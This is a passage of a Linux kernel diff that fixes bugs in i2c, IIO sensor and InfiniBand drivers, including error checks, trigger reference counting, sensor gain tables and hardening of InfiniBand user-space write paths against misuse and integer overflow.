8a806f5c40cf9..3f2dbd1ce6a3f 100644 --- a/drivers/i2c/busses/i2c-rcar.c +++ b/drivers/i2c/busses/i2c-rcar.c @@ -673,15 +673,16 @@ static int rcar_i2c_probe(struct platform_device *pdev) return ret; } + pm_runtime_enable(dev); + platform_set_drvdata(pdev, priv); + ret = i2c_add_numbered_adapter(adap); if (ret < 0) { dev_err(dev, "reg adap failed: %d\n", ret); + pm_runtime_disable(dev); return ret; } - pm_runtime_enable(dev); - platform_set_drvdata(pdev, priv); - dev_info(dev, "probed\n"); return 0; diff --git a/drivers/i2c/i2c-core.c b/drivers/i2c/i2c-core.c index 48e31ed69dbf1..9d539cbfc833b 100644 --- a/drivers/i2c/i2c-core.c +++ b/drivers/i2c/i2c-core.c @@ -206,6 +206,7 @@ int i2c_generic_scl_recovery(struct i2c_adapter *adap) adap->bus_recovery_info->set_scl(adap, 1); return i2c_generic_recovery(adap); } +EXPORT_SYMBOL_GPL(i2c_generic_scl_recovery); int i2c_generic_gpio_recovery(struct i2c_adapter *adap) { @@ -220,6 +221,7 @@ int i2c_generic_gpio_recovery(struct i2c_adapter *adap) return ret; } +EXPORT_SYMBOL_GPL(i2c_generic_gpio_recovery); int i2c_recover_bus(struct i2c_adapter *adap) { @@ -229,6 +231,7 @@ int i2c_recover_bus(struct i2c_adapter *adap) dev_dbg(&adap->dev, "Trying i2c bus recovery\n"); return adap->bus_recovery_info->recover_bus(adap); } +EXPORT_SYMBOL_GPL(i2c_recover_bus); static int i2c_device_probe(struct device *dev) { diff --git a/drivers/iio/accel/kxsd9.c b/drivers/iio/accel/kxsd9.c index 7c9a1d97dc684..a22c427454db0 100644 --- a/drivers/iio/accel/kxsd9.c +++ b/drivers/iio/accel/kxsd9.c @@ -81,7 +81,7 @@ static int kxsd9_write_scale(struct iio_dev *indio_dev, int micro) mutex_lock(&st->buf_lock); ret = spi_w8r8(st->us, KXSD9_READ(KXSD9_REG_CTRL_C)); - if (ret) + if (ret < 0) goto error_ret; st->tx[0] = KXSD9_WRITE(KXSD9_REG_CTRL_C); st->tx[1] = (ret & ~KXSD9_FS_MASK) | i; @@ -163,7 +163,7 @@ static int kxsd9_read_raw(struct iio_dev *indio_dev, break; case IIO_CHAN_INFO_SCALE: ret = spi_w8r8(st->us, KXSD9_READ(KXSD9_REG_CTRL_C)); - if (ret) + if (ret < 0) goto error_ret; *val2 = kxsd9_micro_scales[ret & KXSD9_FS_MASK]; ret = IIO_VAL_INT_PLUS_MICRO; diff --git a/drivers/iio/adc/ad7266.c b/drivers/iio/adc/ad7266.c index c2744a75c3b09..6569a4e2a4363 100644 --- a/drivers/iio/adc/ad7266.c +++ b/drivers/iio/adc/ad7266.c @@ -406,7 +406,7 @@ static int ad7266_probe(struct spi_device *spi) st = iio_priv(indio_dev); st->reg = regulator_get(&spi->dev, "vref"); - if (!IS_ERR_OR_NULL(st->reg)) { + if (!IS_ERR(st->reg)) { ret = regulator_enable(st->reg); if (ret) goto error_put_reg; @@ -417,6 +417,10 @@ static int ad7266_probe(struct spi_device *spi) st->vref_uv = ret; } else { + /* Any other error indicates that the regulator does exist */ + if (PTR_ERR(st->reg) != -ENODEV) + return PTR_ERR(st->reg); + /* Use internal reference */ st->vref_uv = 2500000; } diff --git a/drivers/iio/adc/ad7793.c b/drivers/iio/adc/ad7793.c index 334e31ff7a4ea..6bd0c1ade9f2b 100644 --- a/drivers/iio/adc/ad7793.c +++ b/drivers/iio/adc/ad7793.c @@ -101,7 +101,7 @@ #define AD7795_CH_AIN1M_AIN1M 8 /* AIN1(-) - AIN1(-) */ /* ID Register Bit Designations (AD7793_REG_ID) */ -#define AD7785_ID 0xB +#define AD7785_ID 0x3 #define AD7792_ID 0xA #define AD7793_ID 0xB #define AD7794_ID 0xF diff --git a/drivers/iio/adc/ad_sigma_delta.c b/drivers/iio/adc/ad_sigma_delta.c index f0d6335ae0876..05d2733ef48cb 100644 --- a/drivers/iio/adc/ad_sigma_delta.c +++ b/drivers/iio/adc/ad_sigma_delta.c @@ -477,7 +477,7 @@ static int ad_sd_probe_trigger(struct iio_dev *indio_dev) goto error_free_irq; /* select default trigger */ - indio_dev->trig = sigma_delta->trig; + indio_dev->trig = iio_trigger_get(sigma_delta->trig); return 0; diff --git a/drivers/iio/common/st_sensors/st_sensors_trigger.c b/drivers/iio/common/st_sensors/st_sensors_trigger.c index 8fc3a97eb266e..8d8ca6f1e16a5 100644 --- a/drivers/iio/common/st_sensors/st_sensors_trigger.c +++ b/drivers/iio/common/st_sensors/st_sensors_trigger.c @@ -49,7 +49,7 @@ int st_sensors_allocate_trigger(struct iio_dev *indio_dev, dev_err(&indio_dev->dev, "failed to register iio trigger.\n"); goto iio_trigger_register_error; } - indio_dev->trig = sdata->trig; + indio_dev->trig = iio_trigger_get(sdata->trig); return 0; diff --git a/drivers/iio/dac/ad5064.c b/drivers/iio/dac/ad5064.c index aa26d50ab6385..4eda4ea037b70 100644 --- a/drivers/iio/dac/ad5064.c +++ b/drivers/iio/dac/ad5064.c @@ -602,10 +602,16 @@ static int ad5064_i2c_write(struct ad5064_state *st, unsigned int cmd, unsigned int addr, unsigned int val) { struct i2c_client *i2c = to_i2c_client(st->dev); + int ret; st->data.i2c[0] = (cmd << 4) | addr; put_unaligned_be16(val, &st->data.i2c[1]); - return i2c_master_send(i2c, st->data.i2c, 3); + + ret = i2c_master_send(i2c, st->data.i2c, 3); + if (ret < 0) + return ret; + + return 0; } static int ad5064_i2c_probe(struct i2c_client *i2c, diff --git a/drivers/iio/dac/ad5624r_spi.c b/drivers/iio/dac/ad5624r_spi.c index bb298aaff321f..6deac5af1cfdc 100644 --- a/drivers/iio/dac/ad5624r_spi.c +++ b/drivers/iio/dac/ad5624r_spi.c @@ -22,7 +22,7 @@ #include "ad5624r.h" static int ad5624r_spi_write(struct spi_device *spi, - u8 cmd, u8 addr, u16 val, u8 len) + u8 cmd, u8 addr, u16 val, u8 shift) { u32 data; u8 msg[3]; @@ -35,7 +35,7 @@ static int ad5624r_spi_write(struct spi_device *spi, * 14-, 12-bit input code followed by 0, 2, or 4 don't care bits, * for the AD5664R, AD5644R, and AD5624R, respectively. */ - data = (0 << 22) | (cmd << 19) | (addr << 16) | (val << (16 - len)); + data = (0 << 22) | (cmd << 19) | (addr << 16) | (val << shift); msg[0] = data >> 16; msg[1] = data >> 8; msg[2] = data; diff --git a/drivers/iio/dac/mcp4725.c b/drivers/iio/dac/mcp4725.c index a612ec766d96f..029207bbf03da 100644 --- a/drivers/iio/dac/mcp4725.c +++ b/drivers/iio/dac/mcp4725.c @@ -166,6 +166,7 @@ static int mcp4725_probe(struct i2c_client *client, data->client = client; indio_dev->dev.parent = &client->dev; + indio_dev->name = id->name; indio_dev->info = &mcp4725_info; indio_dev->channels = &mcp4725_channel; indio_dev->num_channels = 1; diff --git a/drivers/iio/gyro/itg3200_buffer.c b/drivers/iio/gyro/itg3200_buffer.c index 6c43af9bb0a44..14917fae2d9d1 100644 --- a/drivers/iio/gyro/itg3200_buffer.c +++ b/drivers/iio/gyro/itg3200_buffer.c @@ -135,7 +135,7 @@ int itg3200_probe_trigger(struct iio_dev *indio_dev) goto error_free_irq; /* select default trigger */ - indio_dev->trig = st->trig; + indio_dev->trig = iio_trigger_get(st->trig); return 0; diff --git a/drivers/iio/imu/adis16400.h b/drivers/iio/imu/adis16400.h index 0916bf6b6c311..1e8fd2e81d45c 100644 --- a/drivers/iio/imu/adis16400.h +++ b/drivers/iio/imu/adis16400.h @@ -165,6 +165,7 @@ struct adis16400_state { int filt_int; struct adis adis; + unsigned long avail_scan_mask[2]; }; /* At the moment triggers are only used for ring buffer diff --git a/drivers/iio/imu/adis16400_core.c b/drivers/iio/imu/adis16400_core.c index d6ece2d17dec0..9721c58ed847a 100644 --- a/drivers/iio/imu/adis16400_core.c +++ b/drivers/iio/imu/adis16400_core.c @@ -26,6 +26,7 @@ #include #include #include +#include #include #include @@ -437,6 +438,11 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, *val = st->variant->temp_scale_nano / 1000000; *val2 = (st->variant->temp_scale_nano % 1000000); return IIO_VAL_INT_PLUS_MICRO; + case IIO_PRESSURE: + /* 20 uBar = 0.002kPascal */ + *val = 0; + *val2 = 2000; + return IIO_VAL_INT_PLUS_MICRO; default: return -EINVAL; } @@ -447,7 +453,7 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, mutex_unlock(&indio_dev->mlock); if (ret) return ret; - val16 = ((val16 & 0xFFF) << 4) >> 4; + val16 = sign_extend32(val16, 11); *val = val16; return IIO_VAL_INT; case IIO_CHAN_INFO_OFFSET: @@ -479,10 +485,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, } } -#define ADIS16400_VOLTAGE_CHAN(addr, bits, name, si) { \ +#define ADIS16400_VOLTAGE_CHAN(addr, bits, name, si, chn) { \ .type = IIO_VOLTAGE, \ .indexed = 1, \ - .channel = 0, \ + .channel = chn, \ .extend_name = name, \ .info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | \ BIT(IIO_CHAN_INFO_SCALE), \ @@ -498,10 +504,10 @@ static int adis16400_read_raw(struct iio_dev *indio_dev, } #define ADIS16400_SUPPLY_CHAN(addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY) + ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY, 0) #define ADIS16400_AUX_ADC_CHAN(addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC) + ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC, 1) #define ADIS16400_GYRO_CHAN(mod, addr, bits) { \ .type = IIO_ANGL_VEL, \ @@ -818,11 +824,6 @@ static const struct iio_info adis16400_info = { .debugfs_reg_access = adis_debugfs_reg_access, }; -static const unsigned long adis16400_burst_scan_mask[] = { - ~0UL, - 0, -}; - static const char * const adis16400_status_error_msgs[] = { [ADIS16400_DIAG_STAT_ZACCL_FAIL] = "Z-axis accelerometer self-test failure", [ADIS16400_DIAG_STAT_YACCL_FAIL] = "Y-axis accelerometer self-test failure", @@ -870,6 +871,20 @@ static const struct adis_data adis16400_data = { BIT(ADIS16400_DIAG_STAT_POWER_LOW), }; +static void adis16400_setup_chan_mask(struct adis16400_state *st) +{ + const struct adis16400_chip_info *chip_info = st->variant; + unsigned i; + + for (i = 0; i < chip_info->num_channels; i++) { + const struct iio_chan_spec *ch = &chip_info->channels[i]; + + if (ch->scan_index >= 0 && + ch->scan_index != ADIS16400_SCAN_TIMESTAMP) + st->avail_scan_mask[0] |= BIT(ch->scan_index); + } +} + static int adis16400_probe(struct spi_device *spi) { struct adis16400_state *st; @@ -893,8 +908,10 @@ static int adis16400_probe(struct spi_device *spi) indio_dev->info = &adis16400_info; indio_dev->modes = INDIO_DIRECT_MODE; - if (!(st->variant->flags & ADIS16400_NO_BURST)) - indio_dev->available_scan_masks = adis16400_burst_scan_mask; + if (!(st->variant->flags & ADIS16400_NO_BURST)) { + adis16400_setup_chan_mask(st); + indio_dev->available_scan_masks = st->avail_scan_mask; + } ret = adis_init(&st->adis, indio_dev, spi, &adis16400_data); if (ret) diff --git a/drivers/iio/imu/adis16480.c b/drivers/iio/imu/adis16480.c index b7db383762954..b0d05e88087c4 100644 --- a/drivers/iio/imu/adis16480.c +++ b/drivers/iio/imu/adis16480.c @@ -110,6 +110,10 @@ struct adis16480_chip_info { unsigned int num_channels; const struct iio_chan_spec *channels; + unsigned int gyro_max_val; + unsigned int gyro_max_scale; + unsigned int accel_max_val; + unsigned int accel_max_scale; }; struct adis16480 { @@ -533,19 +537,21 @@ static int adis16480_set_filter_freq(struct iio_dev *indio_dev, static int adis16480_read_raw(struct iio_dev *indio_dev, const struct iio_chan_spec *chan, int *val, int *val2, long info) { + struct adis16480 *st = iio_priv(indio_dev); + switch (info) { case IIO_CHAN_INFO_RAW: return adis_single_conversion(indio_dev, chan, 0, val); case IIO_CHAN_INFO_SCALE: switch (chan->type) { case IIO_ANGL_VEL: - *val = 0; - *val2 = IIO_DEGREE_TO_RAD(20000); /* 0.02 degree/sec */ - return IIO_VAL_INT_PLUS_MICRO; + *val = st->chip_info->gyro_max_scale; + *val2 = st->chip_info->gyro_max_val; + return IIO_VAL_FRACTIONAL; case IIO_ACCEL: - *val = 0; - *val2 = IIO_G_TO_M_S_2(800); /* 0.8 mg */ - return IIO_VAL_INT_PLUS_MICRO; + *val = st->chip_info->accel_max_scale; + *val2 = st->chip_info->accel_max_val; + return IIO_VAL_FRACTIONAL; case IIO_MAGN: *val = 0; *val2 = 100; /* 0.0001 gauss */ @@ -702,18 +708,39 @@ static const struct adis16480_chip_info adis16480_chip_info[] = { [ADIS16375] = { .channels = adis16485_channels, .num_channels = ARRAY_SIZE(adis16485_channels), + /* + * storing the value in rad/degree and the scale in degree + * gives us the result in rad and better precession than + * storing the scale directly in rad. + */ + .gyro_max_val = IIO_RAD_TO_DEGREE(22887), + .gyro_max_scale = 300, + .accel_max_val = IIO_M_S_2_TO_G(21973), + .accel_max_scale = 18, }, [ADIS16480] = { .channels = adis16480_channels, .num_channels = ARRAY_SIZE(adis16480_channels), + .gyro_max_val = IIO_RAD_TO_DEGREE(22500), + .gyro_max_scale = 450, + .accel_max_val = IIO_M_S_2_TO_G(12500), + .accel_max_scale = 5, }, [ADIS16485] = { .channels = adis16485_channels, .num_channels = ARRAY_SIZE(adis16485_channels), + .gyro_max_val = IIO_RAD_TO_DEGREE(22500), + .gyro_max_scale = 450, + .accel_max_val = IIO_M_S_2_TO_G(20000), + .accel_max_scale = 5, }, [ADIS16488] = { .channels = adis16480_channels, .num_channels = ARRAY_SIZE(adis16480_channels), + .gyro_max_val = IIO_RAD_TO_DEGREE(22500), + .gyro_max_scale = 450, + .accel_max_val = IIO_M_S_2_TO_G(22500), + .accel_max_scale = 18, }, }; diff --git a/drivers/iio/imu/adis_buffer.c b/drivers/iio/imu/adis_buffer.c index 99d8e0b0dd342..d0538bcdc1b86 100644 --- a/drivers/iio/imu/adis_buffer.c +++ b/drivers/iio/imu/adis_buffer.c @@ -43,7 +43,7 @@ int adis_update_scan_mode(struct iio_dev *indio_dev, return -ENOMEM; rx = adis->buffer; - tx = rx + indio_dev->scan_bytes; + tx = rx + scan_count; spi_message_init(&adis->msg); diff --git a/drivers/iio/imu/adis_trigger.c b/drivers/iio/imu/adis_trigger.c index e0017c22bb9c6..f53e9a803a0e1 100644 --- a/drivers/iio/imu/adis_trigger.c +++ b/drivers/iio/imu/adis_trigger.c @@ -60,7 +60,7 @@ int adis_probe_trigger(struct adis *adis, struct iio_dev *indio_dev) iio_trigger_set_drvdata(adis->trig, adis); ret = iio_trigger_register(adis->trig); - indio_dev->trig = adis->trig; + indio_dev->trig = iio_trigger_get(adis->trig); if (ret) goto error_free_irq; diff --git a/drivers/iio/imu/inv_mpu6050/inv_mpu_ring.c b/drivers/iio/imu/inv_mpu6050/inv_mpu_ring.c index 7da0832f187b8..01d661e0fa6cd 100644 --- a/drivers/iio/imu/inv_mpu6050/inv_mpu_ring.c +++ b/drivers/iio/imu/inv_mpu6050/inv_mpu_ring.c @@ -25,6 +25,16 @@ #include #include "inv_mpu_iio.h" +static void inv_clear_kfifo(struct inv_mpu6050_state *st) +{ + unsigned long flags; + + /* take the spin lock sem to avoid interrupt kick in */ + spin_lock_irqsave(&st->time_stamp_lock, flags); + kfifo_reset(&st->timestamps); + spin_unlock_irqrestore(&st->time_stamp_lock, flags); +} + int inv_reset_fifo(struct iio_dev *indio_dev) { int result; @@ -51,6 +61,10 @@ int inv_reset_fifo(struct iio_dev *indio_dev) INV_MPU6050_BIT_FIFO_RST); if (result) goto reset_fifo_fail; + + /* clear timestamps fifo */ + inv_clear_kfifo(st); + /* enable interrupt */ if (st->chip_config.accl_fifo_enable || st->chip_config.gyro_fifo_enable) { @@ -84,16 +98,6 @@ int inv_reset_fifo(struct iio_dev *indio_dev) return result; } -static void inv_clear_kfifo(struct inv_mpu6050_state *st) -{ - unsigned long flags; - - /* take the spin lock sem to avoid interrupt kick in */ - spin_lock_irqsave(&st->time_stamp_lock, flags); - kfifo_reset(&st->timestamps); - spin_unlock_irqrestore(&st->time_stamp_lock, flags); -} - /** * inv_mpu6050_irq_handler() - Cache a timestamp at each data ready interrupt. */ @@ -187,7 +191,6 @@ irqreturn_t inv_mpu6050_read_fifo(int irq, void *p) flush_fifo: /* Flush HW and SW FIFOs. */ inv_reset_fifo(indio_dev); - inv_clear_kfifo(st); mutex_unlock(&indio_dev->mlock); iio_trigger_notify_done(indio_dev->trig); diff --git a/drivers/iio/imu/inv_mpu6050/inv_mpu_trigger.c b/drivers/iio/imu/inv_mpu6050/inv_mpu_trigger.c index 03b9372c1212a..926fccea8de02 100644 --- a/drivers/iio/imu/inv_mpu6050/inv_mpu_trigger.c +++ b/drivers/iio/imu/inv_mpu6050/inv_mpu_trigger.c @@ -135,7 +135,7 @@ int inv_mpu6050_probe_trigger(struct iio_dev *indio_dev) ret = iio_trigger_register(st->trig); if (ret) goto error_free_irq; - indio_dev->trig = st->trig; + indio_dev->trig = iio_trigger_get(st->trig); return 0; diff --git a/drivers/iio/industrialio-buffer.c b/drivers/iio/industrialio-buffer.c index d344cf3ac9e3f..e13c5f4b12cb0 100644 --- a/drivers/iio/industrialio-buffer.c +++ b/drivers/iio/industrialio-buffer.c @@ -849,7 +849,7 @@ static int iio_buffer_update_demux(struct iio_dev *indio_dev, /* Now we have the two masks, work from least sig and build up sizes */ for_each_set_bit(out_ind, - indio_dev->active_scan_mask, + buffer->scan_mask, indio_dev->masklength) { in_ind = find_next_bit(indio_dev->active_scan_mask, indio_dev->masklength, diff --git a/drivers/iio/industrialio-trigger.c b/drivers/iio/industrialio-trigger.c index 4d6c7d84e1552..301becccf5ed4 100644 --- a/drivers/iio/industrialio-trigger.c +++ b/drivers/iio/industrialio-trigger.c @@ -203,22 +203,35 @@ static int iio_trigger_attach_poll_func(struct iio_trigger *trig, /* Prevent the module from being removed whilst attached to a trigger */ __module_get(pf->indio_dev->info->driver_module); + + /* Get irq number */ pf->irq = iio_trigger_get_irq(trig); + if (pf->irq < 0) + goto out_put_module; + + /* Request irq */ ret = request_threaded_irq(pf->irq, pf->h, pf->thread, pf->type, pf->name, pf); - if (ret < 0) { - module_put(pf->indio_dev->info->driver_module); - return ret; - } + if (ret < 0) + goto out_put_irq; + /* Enable trigger in driver */ if (trig->ops && trig->ops->set_trigger_state && notinuse) { ret = trig->ops->set_trigger_state(trig, true); if (ret < 0) - module_put(pf->indio_dev->info->driver_module); + goto out_free_irq; } return ret; + +out_free_irq: + free_irq(pf->irq, pf); +out_put_irq: + iio_trigger_put_irq(trig, pf->irq); +out_put_module: + module_put(pf->indio_dev->info->driver_module); + return ret; } static int iio_trigger_detach_poll_func(struct iio_trigger *trig, diff --git a/drivers/iio/inkern.c b/drivers/iio/inkern.c index 1e8e94d4db7de..4fc88e617acfd 100644 --- a/drivers/iio/inkern.c +++ b/drivers/iio/inkern.c @@ -178,7 +178,7 @@ static struct iio_channel *of_iio_channel_get_by_name(struct device_node *np, index = of_property_match_string(np, "io-channel-names", name); chan = of_iio_channel_get(np, index); - if (!IS_ERR(chan)) + if (!IS_ERR(chan) || PTR_ERR(chan) == -EPROBE_DEFER) break; else if (name && index >= 0) { pr_err("ERROR: could not get IIO channel %s:%s(%i)\n", diff --git a/drivers/iio/magnetometer/st_magn_core.c b/drivers/iio/magnetometer/st_magn_core.c index 16f0d6df239f0..3ce3769c08238 100644 --- a/drivers/iio/magnetometer/st_magn_core.c +++ b/drivers/iio/magnetometer/st_magn_core.c @@ -40,7 +40,8 @@ #define ST_MAGN_FS_AVL_5600MG 5600 #define ST_MAGN_FS_AVL_8000MG 8000 #define ST_MAGN_FS_AVL_8100MG 8100 -#define ST_MAGN_FS_AVL_10000MG 10000 +#define ST_MAGN_FS_AVL_12000MG 12000 +#define ST_MAGN_FS_AVL_16000MG 16000 /* CUSTOM VALUES FOR SENSOR 1 */ #define ST_MAGN_1_WAI_EXP 0x3c @@ -67,20 +68,20 @@ #define ST_MAGN_1_FS_AVL_4700_VAL 0x05 #define ST_MAGN_1_FS_AVL_5600_VAL 0x06 #define ST_MAGN_1_FS_AVL_8100_VAL 0x07 -#define ST_MAGN_1_FS_AVL_1300_GAIN_XY 1100 -#define ST_MAGN_1_FS_AVL_1900_GAIN_XY 855 -#define ST_MAGN_1_FS_AVL_2500_GAIN_XY 670 -#define ST_MAGN_1_FS_AVL_4000_GAIN_XY 450 -#define ST_MAGN_1_FS_AVL_4700_GAIN_XY 400 -#define ST_MAGN_1_FS_AVL_5600_GAIN_XY 330 -#define ST_MAGN_1_FS_AVL_8100_GAIN_XY 230 -#define ST_MAGN_1_FS_AVL_1300_GAIN_Z 980 -#define ST_MAGN_1_FS_AVL_1900_GAIN_Z 760 -#define ST_MAGN_1_FS_AVL_2500_GAIN_Z 600 -#define ST_MAGN_1_FS_AVL_4000_GAIN_Z 400 -#define ST_MAGN_1_FS_AVL_4700_GAIN_Z 355 -#define ST_MAGN_1_FS_AVL_5600_GAIN_Z 295 -#define ST_MAGN_1_FS_AVL_8100_GAIN_Z 205 +#define ST_MAGN_1_FS_AVL_1300_GAIN_XY 909 +#define ST_MAGN_1_FS_AVL_1900_GAIN_XY 1169 +#define ST_MAGN_1_FS_AVL_2500_GAIN_XY 1492 +#define ST_MAGN_1_FS_AVL_4000_GAIN_XY 2222 +#define ST_MAGN_1_FS_AVL_4700_GAIN_XY 2500 +#define ST_MAGN_1_FS_AVL_5600_GAIN_XY 3030 +#define ST_MAGN_1_FS_AVL_8100_GAIN_XY 4347 +#define ST_MAGN_1_FS_AVL_1300_GAIN_Z 1020 +#define ST_MAGN_1_FS_AVL_1900_GAIN_Z 1315 +#define ST_MAGN_1_FS_AVL_2500_GAIN_Z 1666 +#define ST_MAGN_1_FS_AVL_4000_GAIN_Z 2500 +#define ST_MAGN_1_FS_AVL_4700_GAIN_Z 2816 +#define ST_MAGN_1_FS_AVL_5600_GAIN_Z 3389 +#define ST_MAGN_1_FS_AVL_8100_GAIN_Z 4878 #define ST_MAGN_1_MULTIREAD_BIT false /* CUSTOM VALUES FOR SENSOR 2 */ @@ -103,10 +104,12 @@ #define ST_MAGN_2_FS_MASK 0x60 #define ST_MAGN_2_FS_AVL_4000_VAL 0x00 #define ST_MAGN_2_FS_AVL_8000_VAL 0x01 -#define ST_MAGN_2_FS_AVL_10000_VAL 0x02 -#define ST_MAGN_2_FS_AVL_4000_GAIN 430 -#define ST_MAGN_2_FS_AVL_8000_GAIN 230 -#define ST_MAGN_2_FS_AVL_10000_GAIN 230 +#define ST_MAGN_2_FS_AVL_12000_VAL 0x02 +#define ST_MAGN_2_FS_AVL_16000_VAL 0x03 +#define ST_MAGN_2_FS_AVL_4000_GAIN 146 +#define ST_MAGN_2_FS_AVL_8000_GAIN 292 +#define ST_MAGN_2_FS_AVL_12000_GAIN 438 +#define ST_MAGN_2_FS_AVL_16000_GAIN 584 #define ST_MAGN_2_MULTIREAD_BIT false #define ST_MAGN_2_OUT_X_L_ADDR 0x28 #define ST_MAGN_2_OUT_Y_L_ADDR 0x2a @@ -252,9 +255,14 @@ static const struct st_sensors st_magn_sensors[] = { .gain = ST_MAGN_2_FS_AVL_8000_GAIN, }, [2] = { - .num = ST_MAGN_FS_AVL_10000MG, - .value = ST_MAGN_2_FS_AVL_10000_VAL, - .gain = ST_MAGN_2_FS_AVL_10000_GAIN, + .num = ST_MAGN_FS_AVL_12000MG, + .value = ST_MAGN_2_FS_AVL_12000_VAL, + .gain = ST_MAGN_2_FS_AVL_12000_GAIN, + }, + [3] = { + .num = ST_MAGN_FS_AVL_16000MG, + .value = ST_MAGN_2_FS_AVL_16000_VAL, + .gain = ST_MAGN_2_FS_AVL_16000_GAIN, }, }, }, diff --git a/drivers/infiniband/core/cm.c b/drivers/infiniband/core/cm.c index 784b97cb05b00..c410217fbe890 100644 --- a/drivers/infiniband/core/cm.c +++ b/drivers/infiniband/core/cm.c @@ -857,6 +857,11 @@ static void cm_destroy_id(struct ib_cm_id *cm_id, int err) case IB_CM_SIDR_REQ_RCVD: spin_unlock_irq(&cm_id_priv->lock); cm_reject_sidr_req(cm_id_priv, IB_SIDR_REJECT); + spin_lock_irq(&cm.lock); + if (!RB_EMPTY_NODE(&cm_id_priv->sidr_id_node)) + rb_erase(&cm_id_priv->sidr_id_node, + &cm.remote_sidr_table); + spin_unlock_irq(&cm.lock); break; case IB_CM_REQ_SENT: ib_cancel_mad(cm_id_priv->av.port->mad_agent, cm_id_priv->msg); @@ -3093,7 +3098,10 @@ int ib_send_cm_sidr_rep(struct ib_cm_id *cm_id, spin_unlock_irqrestore(&cm_id_priv->lock, flags); spin_lock_irqsave(&cm.lock, flags); - rb_erase(&cm_id_priv->sidr_id_node, &cm.remote_sidr_table); + if (!RB_EMPTY_NODE(&cm_id_priv->sidr_id_node)) { + rb_erase(&cm_id_priv->sidr_id_node, &cm.remote_sidr_table); + RB_CLEAR_NODE(&cm_id_priv->sidr_id_node); + } spin_unlock_irqrestore(&cm.lock, flags); return 0; diff --git a/drivers/infiniband/core/iwcm.c b/drivers/infiniband/core/iwcm.c index c47c2034ca71f..4293e89bbbddf 100644 --- a/drivers/infiniband/core/iwcm.c +++ b/drivers/infiniband/core/iwcm.c @@ -46,6 +46,7 @@ #include #include #include +#include #include #include @@ -65,6 +66,20 @@ struct iwcm_work { struct list_head free_list; }; +static unsigned int default_backlog = 256; + +static struct ctl_table_header *iwcm_ctl_table_hdr; +static struct ctl_table iwcm_ctl_table[] = { + { + .procname = "default_backlog", + .data = &default_backlog, + .maxlen = sizeof(default_backlog), + .mode = 0644, + .proc_handler = proc_dointvec, + }, + { } +}; + /* * The following services provide a mechanism for pre-allocating iwcm_work * elements. The design pre-allocates them based on the cm_id type: @@ -419,6 +434,9 @@ int iw_cm_listen(struct iw_cm_id *cm_id, int backlog) cm_id_priv = container_of(cm_id, struct iwcm_id_private, id); + if (!backlog) + backlog = default_backlog; + ret = alloc_work_entries(cm_id_priv, backlog); if (ret) return ret; @@ -1024,11 +1042,20 @@ static int __init iw_cm_init(void) if (!iwcm_wq) return -ENOMEM; + iwcm_ctl_table_hdr = register_net_sysctl(&init_net, "net/iw_cm", + iwcm_ctl_table); + if (!iwcm_ctl_table_hdr) { + pr_err("iw_cm: couldn't register sysctl paths\n"); + destroy_workqueue(iwcm_wq); + return -ENOMEM; + } + return 0; } static void __exit iw_cm_cleanup(void) { + unregister_net_sysctl_table(iwcm_ctl_table_hdr); destroy_workqueue(iwcm_wq); } diff --git a/drivers/infiniband/core/ucm.c b/drivers/infiniband/core/ucm.c index f2f63933e8a97..5befec118a183 100644 --- a/drivers/infiniband/core/ucm.c +++ b/drivers/infiniband/core/ucm.c @@ -48,6 +48,7 @@ #include +#include #include #include #include @@ -1104,6 +1105,9 @@ static ssize_t ib_ucm_write(struct file *filp, const char __user *buf, struct ib_ucm_cmd_hdr hdr; ssize_t result; + if (WARN_ON_ONCE(!ib_safe_file_access(filp))) + return -EACCES; + if (len < sizeof(hdr)) return -EINVAL; diff --git a/drivers/infiniband/core/ucma.c b/drivers/infiniband/core/ucma.c index 5ca44cd9b00cc..99f1c170770fe 100644 --- a/drivers/infiniband/core/ucma.c +++ b/drivers/infiniband/core/ucma.c @@ -43,6 +43,7 @@ #include #include +#include #include #include #include @@ -1249,6 +1250,9 @@ static ssize_t ucma_write(struct file *filp, const char __user *buf, struct rdma_ucm_cmd_hdr hdr; ssize_t ret; + if (WARN_ON_ONCE(!ib_safe_file_access(filp))) + return -EACCES; + if (len < sizeof(hdr)) return -EINVAL; diff --git a/drivers/infiniband/core/umem.c b/drivers/infiniband/core/umem.c index a841123220710..c1fef27010d45 100644 --- a/drivers/infiniband/core/umem.c +++ b/drivers/infiniband/core/umem.c @@ -94,6 +94,17 @@ struct ib_umem *ib_umem_get(struct ib_ucontext *context, unsigned long addr, if (dmasync) dma_set_attr(DMA_ATTR_WRITE_BARRIER, &attrs); + if (!size) + return ERR_PTR(-EINVAL); + + /* + * If the combination of the addr and size requested for this memory + * region causes an integer overflow, return error. + */ + if (((addr + size) < addr) || + PAGE_ALIGN(addr + size) < (addr + size)) + return ERR_PTR(-EINVAL); + if (!can_do_mlock()) return ERR_PTR(-EPERM); diff --git a/drivers/infiniband/core/uverbs.h b/drivers/infiniband/core/uverbs.h index 0fcd7aa26fa21..8b8de21bfdc54 100644 --- a/drivers/infiniband/core/uverbs.h +++ b/drivers/infiniband/core/uverbs.h @@ -69,7 +69,7 @@ */ struct ib_uverbs_device { - struct kref ref; + atomic_t refcount; int num_comp_vectors; struct completion comp; struct device *dev; @@ -78,6 +78,7 @@ struct ib_uverbs_device { struct cdev cdev; struct rb_root xrcd_tree; struct mutex xrcd_tree_mutex; + struct kobject kobj; }; struct ib_uverbs_event_file { diff --git a/drivers/infiniband/core/uverbs_cmd.c b/drivers/infiniband/core/uverbs_cmd.c index a7d00f6b3bc1c..44c15cebd43f6 100644 --- a/drivers/infiniband/core/uverbs_cmd.c +++ b/drivers/infiniband/core/uverbs_cmd.c @@ -2106,6 +2106,12 @@ ssize_t ib_uverbs_post_send(struct ib_uverbs_file *file, next->send_flags = user_wr->send_flags; if (is_ud) { + if (next->opcode != IB_WR_SEND && + next->opcode != IB_WR_SEND_WITH_IMM) { + ret = -EINVAL; + goto out_put; + } + next->wr.ud.ah = idr_read_ah(user_wr->wr.ud.ah, file->ucontext); if (!next->wr.ud.ah) { @@ -2142,9 +2148,11 @@ ssize_t ib_uverbs_post_send(struct 